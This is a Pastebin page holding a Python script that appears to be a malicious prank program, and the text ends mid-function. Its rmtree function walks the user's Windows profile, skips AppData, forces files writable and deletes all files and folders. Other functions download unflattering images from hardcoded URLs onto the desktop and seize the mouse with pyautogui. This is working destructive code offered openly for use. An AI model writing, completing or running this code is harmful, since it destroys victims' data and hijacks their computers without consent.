Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import random
- import os, os.path
- from time import sleep
- import stat
- import pyautogui
- x = 1
- user = os.environ['USERPROFILE']
- desktop = user + '\desktop'
- #Deletes all files
- def rmtree(top):
- for root, dirs, files in os.walk(top, topdown=False):
- for name in files:
- try:
- filename = os.path.join(root, name)
- if user + '\\AppData' in filename:
- continue
- else:
- os.chmod(filename, stat.S_IWUSR)
- os.remove(filename)
- print('file removed')
- except:
- print('Permission denied...')
- sleep(1)
- continue
- for name in dirs:
- os.rmdir(os.path.join(root, name))
- os.rmdir(top)
- #Downloads random pics, puts ten randomly on desktop
- def createFile(x):
- pics = [r'https://i.ytimg.com/vi/_kcalqEwSIk/hqdefault.jpg',
- r'http://media.timesreview.com.s3.amazonaws.com/riverheadnewsreview/files/Ramen.jpg',
- r'http://1000uglypeople.com/wp-content/uploads/Im-Confused-Ugly-Guy-Mugshot.jpg',
- r'https://s-media-cache-ak0.pinimg.com/236x/73/ac/69/73ac691cce1ee4444a7e9da277e9c496.jpg',
- r'http://i.imgur.com/kIFphVX.jpg', r'https://i.ytimg.com/vi/ymJ9NIeEEw8/hqdefault.jpg',
- r'https://ak-hdl.buzzfed.com/static/2015-10/12/14/enhanced/webdr15/enhanced-4320-1444674156-1.png',
- r'http://cdn.emgn.com/wp-content/uploads/2015/11/emgn-ugly-animals-pic-2.jpg',
- r'https://s-media-cache-ak0.pinimg.com/236x/5b/ae/41/5bae4177a8319cc12547bdac5f5f2e3d.jpg']
- os.chdir(desktop)
- with open(str(x) + '.jpg', 'wb') as f:
- f.write(requests.get(random.choice(pics)).content)
- print('pic made')
- x += 1
- #moves the mose and holds it down
- def mClick(x, y):
- pyautogui.moveTo(x, y)
- pyautogui.mouseDown()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement